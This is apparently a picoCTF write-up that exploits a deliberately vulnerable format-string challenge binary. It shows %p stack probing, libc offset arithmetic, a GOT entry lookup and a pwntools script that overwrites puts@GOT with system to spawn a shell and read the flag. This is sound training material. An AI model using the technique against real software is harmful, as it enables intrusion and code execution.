ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped
```
We can see that the main binary uses the interpreter given in the current folder. Taking a quick look at the protections, we see that PIE is enabled on the libc, but not on the main binary. Also, the challenge does not have Full RELRO on the main file:
```
➜ fmt3 venv
$ checksec format-string-3
[*] '/home/qelal/PicoCTF/fmt3/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ checksec libc.so.6
[*] '/home/qelal/PicoCTF/fmt3/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
```
That is quite interesting. We can now take a look at the source code:
```c
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() { // setting up the chall }
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
```
Two interesting things here:
- the first is that there is an obvious format string vulnerability on the `printf(buf)` call, which allows for arbitrary read/write as we know;
- the second is that we call `puts()` on `/bin/sh`.
Of course showing `/bin/sh` to the screen isn't nefarious, but we can take advantage of this argument placement and change `puts()` to something else..
The idea here is that we will have to overwrite an entry in the GOT, to change the `puts("/bin/sh")` call to `system("/bin/sh")` and get a shell.
## Finding the stack user input offset
First we'll see where our user input ends up on the stack, by writing a noticeable "A" chain and then spamming `%p` format specifiers until we get there:
```
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f833ed353f0
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
AAAAAAAA0x7f833ee93963.0xfbad208b.0x7fff4c619340.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
/bin/sh
```
It seems to be at position 38. Just to be sure:
```
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f48bdb1b3f0
AAAAAAAA%38$p
AAAAAAAA0x4141414141414141
/bin/sh
```
Yep, that is our offset.
## Leaking libc addresses
One thing we notice from the program's behavior is that it gives us the address for a random C function, `setvbuf`. It is not really useful for us in itself, but we can use this knowledge to leak the libc base address, or directly another function's address.
I chose not to bother with the libc base here, and go straight for `system()`.
So, from static analysis on the `libc.so.6` file, we can find the offsets for `setvbuf` and also for `system`:
```
.text:000000000004F760 system proc near ; DATA XREF: LOAD:000000000000B160↑o
[...]
.text:000000000007A3F0 setvbuf proc near ; CODE XREF: setlinebuf+D↓j
```
We have both offsets. Knowing this, we can establish the difference between those two symbols, and get the address we want from `setvbuf`'s leak:
```
difference = 0x7A3F0 - 0x4F760 = 0x2AC90
system() = setvbuf() - 0x2AC90
```
Perfect! Now when the program will leak `setvbuf`, we will simply catch the address, and derive `system` from it.
## Finding puts in the GOT
The last information we need for the exploit to succeed is the address of `puts`. We can find it using dynamic analysis with Pwndbg: breaking when we're in the program and noting the address from here:
```
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/qelal/PicoCTF/fmt3/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e59bf0 (puts) ◂— endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e36250 (printf) ◂— endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57d40 (fgets) ◂— endbr64
```
So, in the GOT, `puts` is at `0x404018`. No PIE so it stays the same everytime.
## Automating the format string exploitation
Now we know that we have to write the address for `system` (that we leaked), instead of `puts`, at offset 38 on the stack. Writing a manual exploit is long and boring (although it's important to grasp the knowledge of how the format string arbitrary write works, but once you've done it, I'd consider using the automated helper from Pwntools to save some time) so we'll go with `fmtstr_payload`:
```python
io = start()
io.recvline()
setvbuf_addr = int(io.recvline().split(b"libc: ")[1].strip(b'\n'), 0)
system_addr = setvbuf_addr - 0x2AC90
puts_plt_addr = 0x404018
payload = fmtstr_payload(38, {puts_plt_addr: system_addr})
with open("payload", "wb") as file:
file.write(payload)
io.sendline(payload)
io.interactive()
```
And finally we get our shell:
```
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1a bytes:
b'picoCTF{G07_G07?_[REDACTED]}'
```